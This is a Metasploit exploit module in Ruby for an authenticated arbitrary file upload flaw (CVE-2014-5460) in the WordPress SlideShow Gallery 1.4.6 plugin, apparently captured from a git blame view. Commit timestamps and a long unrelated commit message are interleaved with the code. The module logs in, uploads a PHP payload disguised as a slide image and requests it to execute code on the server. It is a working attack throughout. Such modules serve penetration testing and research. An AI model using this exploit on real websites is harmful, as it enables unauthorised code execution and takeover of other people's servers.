metasploit-framework/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb

117 lines
3.9 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(
info,
'Name' => 'Wordpress SlideShow Gallery Authenticated File Upload',
'Description' => %q{
2015-04-13 07:12:32 +00:00
The Wordpress SlideShow Gallery plugin contains an authenticated file upload
Various post-commit fixups Edited modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb first landed in #5150, @wchen-r7's DOS module for CVE-2015-1635 HTTP.sys Edited modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb first landed in #5192, @joevennix's module for Safari CVE-2015-1126 Edited modules/auxiliary/gather/java_rmi_registry.rb first landed in Edited modules/auxiliary/gather/ssllabs_scan.rb first landed in #5016, add SSL Labs scanner Edited modules/auxiliary/scanner/http/goahead_traversal.rb first landed in #5101, Add Directory Traversal for GoAhead Web Server Edited modules/auxiliary/scanner/http/owa_iis_internal_ip.rb first landed in #5158, OWA internal IP disclosure scanner Edited modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb first landed in #5159, WordPress Mobile Edition Plugin File Read Vuln Edited modules/exploits/linux/http/multi_ncc_ping_exec.rb first landed in #4924, @m-1-k-3's DLink CVE-2015-1187 exploit Edited modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb first landed in #5131, WordPress Slideshow Upload Edited modules/exploits/windows/local/run_as.rb first landed in #4649, improve post/windows/manage/run_as and as an exploit (These results courtesy of a delightful git alias, here: ``` cleanup-prs = !"for i in `git status | grep modules | sed s/#.*modules/modules/`; do echo -n \"Edited $i first landed in \" && git log --oneline --first-parent $i | tail -1 | sed 's/.*Land //' && echo ''; done" ``` So that's kind of fun.
2015-05-06 16:39:15 +00:00
vulnerability. An attacker can upload arbitrary files to the upload folder.
Since the plugin uses its own file upload mechanism instead of the WordPress
API, it's possible to upload any file type.
},
'Author' =>
[
2015-04-13 07:08:34 +00:00
'Jesus Ramirez Pichardo', # Vulnerability discovery
2015-04-13 07:12:32 +00:00
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
2015-04-13 07:08:34 +00:00
['CVE', '2014-5460'],
['EDB', '34681'],
2015-04-16 08:08:45 +00:00
['WPVDB', '7532']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [['WP SlideShow Gallery 1.4.6', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 28 2014'))
register_options(
[
OptString.new('WP_USER', [true, 'A valid username', nil]),
OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])
], self.class)
end
def user
datastore['WP_USER']
end
def password
datastore['WP_PASSWORD']
end
def check
2015-04-16 13:56:43 +00:00
check_plugin_version_from_readme('slideshow-gallery', '1.4.7')
end
def exploit
print_status("#{peer} - Trying to login as #{user}")
cookie = wordpress_login(user, password)
if cookie.nil?
print_error("#{peer} - Unable to login as #{user}")
return
end
print_status("#{peer} - Trying to upload payload")
filename = "#{rand_text_alpha_lower(8)}.php"
data = Rex::MIME::Message.new
data.add_part("", nil, nil, 'form-data; name="Slide[id]"')
data.add_part("", nil, nil, 'form-data; name="Slide[link]"')
data.add_part("", nil, nil, 'form-data; name="Slide[image_url]"')
data.add_part('both', nil, nil, 'form-data; name="Slide[showinfo]"')
data.add_part('randonx', nil, nil, 'form-data; name="Slide[description]"')
data.add_part('file', nil, nil, 'form-data; name="Slide[type]"')
data.add_part('randonx', nil, nil, 'form-data; name="Slide[title]"')
data.add_part('70', nil, nil, 'form-data; name="Slide[iopacity]"')
data.add_part('N', nil, nil, 'form-data; name="Slide[uselink]"')
data.add_part("", nil, nil, 'form-data; name="Slide[order]"')
data.add_part('self', nil, nil, 'form-data; name="Slide[linktarget]"')
data.add_part(payload.encoded, 'application/x-httpd-php', nil, "form-data; name=\"image_file\"; filename=\"#{filename}\"")
post_data = data.to_s
print_status("#{peer} - Uploading payload")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'vars_get' => {
'page' => 'slideshow-slides',
'method' => 'save'
},
'data' => post_data,
'cookie' => cookie
})
2015-04-16 08:21:59 +00:00
if res
if res.code == 200
register_files_for_cleanup(filename)
else
fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.")
2015-04-16 08:21:59 +00:00
end
else
2015-04-16 20:15:24 +00:00
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
print_status("#{peer} - Calling uploaded file #{filename}")
2015-04-16 08:21:59 +00:00
send_request_cgi(
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'slideshow-gallery', filename)
2015-04-16 08:21:59 +00:00
)
end
end